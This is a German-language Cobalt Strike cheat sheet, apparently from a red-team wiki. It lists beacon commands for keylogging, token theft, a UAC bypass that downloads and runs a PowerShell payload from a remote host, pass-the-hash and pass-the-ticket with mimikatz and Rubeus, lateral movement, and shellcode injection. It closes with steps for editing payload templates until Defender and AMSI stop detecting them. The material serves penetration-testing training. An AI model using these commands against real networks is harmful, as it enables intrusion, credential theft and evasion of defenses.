Cobalt Strike
Reading time: 8 minutes
Listeners
C2 Listeners
Cobalt Strike -> Listeners -> Add/Edit
dann können Sie auswählen, wo Sie hören möchten, welche Art von Beacon verwendet werden soll (http, dns, smb...) und mehr.
Peer2Peer Listeners
Die Beacons dieser Listener müssen nicht direkt mit dem C2 kommunizieren, sie können über andere Beacons mit ihm kommunizieren.
Cobalt Strike -> Listeners -> Add/Edit
dann müssen Sie die TCP- oder SMB-Beacons auswählen.
- Der TCP-Beacon wird einen Listener im ausgewählten Port einrichten. Um sich mit einem TCP-Beacon zu verbinden, verwenden Sie den Befehl
connect <ip> <port>
von einem anderen Beacon. - Der smb-Beacon wird in einem Pipename mit dem ausgewählten Namen hören. Um sich mit einem SMB-Beacon zu verbinden, müssen Sie den Befehl
link [target] [pipe]
verwenden.
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication
für HTA-DateienMS Office Macro
für ein Office-Dokument mit einem MakroWindows Executable
für eine .exe, .dll oder Dienst .exeWindows Executable (S)
für eine stageless .exe, .dll oder Dienst .exe (besser stageless als staged, weniger IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S)
Dies wird ein Skript/executable generieren, um den Beacon von Cobalt Strike in Formaten wie: bitsadmin, exe, powershell und python herunterzuladen.
Host Payloads
Wenn Sie bereits die Datei haben, die Sie auf einem Webserver hosten möchten, gehen Sie einfach zu Attacks -> Web Drive-by -> Host File
und wählen Sie die Datei zum Hosten und die Webserver-Konfiguration aus.
Beacon Options
# Führen Sie lokale .NET-Binärdatei aus
execute-assembly
# Screenshots
printscreen # Machen Sie einen einzelnen Screenshot über die PrintScr-Methode
screenshot # Machen Sie einen einzelnen Screenshot
screenwatch # Machen Sie periodische Screenshots des Desktops
## Gehen Sie zu Ansicht -> Screenshots, um sie zu sehen
# keylogger
keylogger [pid] [x86|x64]
## Ansicht > Tastenanschläge, um die gedrückten Tasten zu sehen
# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Fügen Sie die Portscan-Aktion in einen anderen Prozess ein
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Importieren Sie das Powershell-Modul
powershell-import C:\path\to\PowerView.ps1
powershell
# Benutzeridentifikation
## Token-Generierung mit Anmeldeinformationen
make_token [DOMAIN\user] [password] #Erstellen Sie ein Token, um einen Benutzer im Netzwerk zu identifizieren
ls \\computer_name\c$ # Versuchen Sie, das generierte Token zu verwenden, um auf C$ in einem Computer zuzugreifen
rev2self # Stoppen Sie die Verwendung des mit make_token generierten Tokens
## Die Verwendung von make_token erzeugt Ereignis 4624: Ein Konto wurde erfolgreich angemeldet. Dieses Ereignis ist in einer Windows-Domäne sehr häufig, kann jedoch durch Filtern nach dem Anmeldetyp eingegrenzt werden. Wie oben erwähnt, verwendet es LOGON32_LOGON_NEW_CREDENTIALS, was Typ 9 ist.
# UAC Bypass
elevate svc-exe
elevate uac-token-duplication
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Token von pid stehlen
## Wie make_token, aber das Token von einem Prozess stehlen
steal_token [pid] # Außerdem ist dies nützlich für Netzwerkaktionen, nicht für lokale Aktionen
## Aus der API-Dokumentation wissen wir, dass dieser Anmeldetyp "dem Aufrufer erlaubt, sein aktuelles Token zu klonen". Deshalb sagt die Beacon-Ausgabe Impersonated - es impersoniert unser eigenes geklontes Token.
ls \\computer_name\c$ # Versuchen Sie, das generierte Token zu verwenden, um auf C$ in einem Computer zuzugreifen
rev2self # Stoppen Sie die Verwendung des Tokens von steal_token
## Prozess mit neuen Anmeldeinformationen starten
spawnas [domain\username] [password] [listener] #Führen Sie es aus einem Verzeichnis mit Lesezugriff aus, z. B.: cd C:\
## Wie make_token wird dies Windows-Ereignis 4624 erzeugen: Ein Konto wurde erfolgreich angemeldet, jedoch mit einem Anmeldetyp von 2 (LOGON32_LOGON_INTERACTIVE). Es wird den aufrufenden Benutzer (TargetUserName) und den impersonierten Benutzer (TargetOutboundUserName) detailliert beschreiben.
## In einen Prozess injizieren
inject [pid] [x64|x86] [listener]
## Aus einer OpSec-Perspektive: Führen Sie keine plattformübergreifende Injektion durch, es sei denn, Sie müssen wirklich (z. B. x86 -> x64 oder x64 -> x86).
## Pass the hash
## Dieser Modifikationsprozess erfordert das Patchen des LSASS-Speichers, was eine hochriskante Aktion ist, lokale Administratorrechte erfordert und nicht sehr praktikabel ist, wenn der geschützte Prozess leicht (PPL) aktiviert ist.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash durch mimikatz
mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
## Ohne /run startet mimikatz eine cmd.exe, wenn Sie als Benutzer mit Desktop ausgeführt werden, sieht er die Shell (wenn Sie als SYSTEM ausgeführt werden, sind Sie bereit).
steal_token #Token von einem Prozess stehlen, der von mimikatz erstellt wurde
## Pass the ticket
## Ticket anfordern
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
## Erstellen Sie eine neue Anmeldesitzung, die mit dem neuen Ticket verwendet werden soll (um das kompromittierte nicht zu überschreiben)
make_token \ DummyPass
## Schreiben Sie das Ticket auf die Angreifer-Maschine von einer Powershell-Sitzung & laden Sie es
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## Pass the ticket von SYSTEM
## Erzeugen Sie einen neuen Prozess mit dem Ticket
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Stehlen Sie das Token von diesem Prozess
steal_token
## Ticket extrahieren + Ticket übergeben
### Tickets auflisten
execute-assembly C:\path\Rubeus.exe triage
### Interessantes Ticket nach luid dumpen
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
### Neue Anmeldesitzung erstellen, beachten Sie luid und processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Ticket in der generierten Anmeldesitzung einfügen
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Schließlich das Token von diesem neuen Prozess stehlen
steal_token
# Lateral Movement
## Wenn ein Token erstellt wurde, wird es verwendet
jump [method] [target] [listener]
## Methoden:
## psexec x86 Verwenden Sie einen Dienst, um ein Service EXE-Artefakt auszuführen
## psexec64 x64 Verwenden Sie einen Dienst, um ein Service EXE-Artefakt auszuführen
## psexec_psh x86 Verwenden Sie einen Dienst, um eine PowerShell-Einzeiler auszuführen
## winrm x86 Führen Sie ein PowerShell-Skript über WinRM aus
## winrm64 x64 Führen Sie ein PowerShell-Skript über WinRM aus
remote-exec [method] [target] [command]
## Methoden:
## psexec Remote ausführen über den Dienststeuerungsmanager
## winrm Remote ausführen über WinRM (PowerShell)
## wmi Remote ausführen über WMI
## Um einen Beacon mit wmi auszuführen (es ist nicht im jump-Befehl), laden Sie einfach den Beacon hoch und führen Sie ihn aus
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Pass session to Metasploit - Through listener
## Auf dem Metasploit-Host
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
## Auf Cobalt: Listeners > Hinzufügen und das Payload auf Foreign HTTP setzen. Setzen Sie den Host auf 10.10.5.120, den Port auf 8080 und klicken Sie auf Speichern.
beacon> spawn metasploit
## Sie können nur x86 Meterpreter-Sitzungen mit dem ausländischen Listener starten.
# Pass session to Metasploit - Through shellcode injection
## Auf dem Metasploit-Host
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## Führen Sie msfvenom aus und bereiten Sie den multi/handler-Listener vor
## Kopieren Sie die Binärdatei auf den Cobalt Strike-Host
ps
shinject x64 C:\Payloads\msf.bin #In einen x64-Prozess Metasploit-Shellcode injizieren
# Pass Metasploit-Sitzung an Cobalt Strike weiter
## Generieren Sie stageless Beacon-Shellcode, gehen Sie zu Angriffe > Pakete > Windows Executable (S), wählen Sie den gewünschten Listener aus, wählen Sie Raw als Ausgabetyp und wählen Sie Use x64 payload.
## Verwenden Sie post/windows/manage/shellcode_inject in Metasploit, um den generierten Cobalt Strike-Shellcode zu injizieren.
# Pivoting
## Öffnen Sie einen Socks-Proxy im Teamserver
beacon> socks 1080
# SSH-Verbindung
beacon> ssh 10.10.17.12:22 Benutzername Passwort
Vermeidung von AVs
Artifact Kit
Normalerweise finden Sie in /opt/cobaltstrike/artifact-kit
den Code und die vorgefertigten Vorlagen (in /src-common
) der Payloads, die Cobalt Strike verwenden wird, um die binären Beacons zu generieren.
Mit ThreatCheck können Sie mit dem generierten Backdoor (oder nur mit der kompilierten Vorlage) herausfinden, was den Defender auslöst. Es ist normalerweise eine Zeichenfolge. Daher können Sie einfach den Code, der die Backdoor generiert, so ändern, dass diese Zeichenfolge nicht in der endgültigen Binärdatei erscheint.
Nachdem Sie den Code geändert haben, führen Sie einfach ./build.sh
aus demselben Verzeichnis aus und kopieren Sie den Ordner dist-pipe/
in den Windows-Client in C:\Tools\cobaltstrike\ArtifactKit
.
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
Vergessen Sie nicht, das aggressive Skript dist-pipe\artifact.cna
zu laden, um Cobalt Strike anzuzeigen, dass die Ressourcen von der Festplatte verwendet werden sollen, die wir möchten, und nicht die geladenen.
Resource Kit
Der ResourceKit-Ordner enthält die Vorlagen für die skriptbasierten Payloads von Cobalt Strike, einschließlich PowerShell, VBA und HTA.
Mit ThreatCheck können Sie mit den Vorlagen herausfinden, was der Defender (in diesem Fall AMSI) nicht mag, und es anpassen:
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
Durch das Modifizieren der erkannten Zeilen kann man eine Vorlage erstellen, die nicht erkannt wird.
Vergessen Sie nicht, das aggressive Skript ResourceKit\resources.cna
zu laden, um Cobalt Strike anzuweisen, die Ressourcen von der Festplatte zu verwenden, die wir möchten, und nicht die geladenen.
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .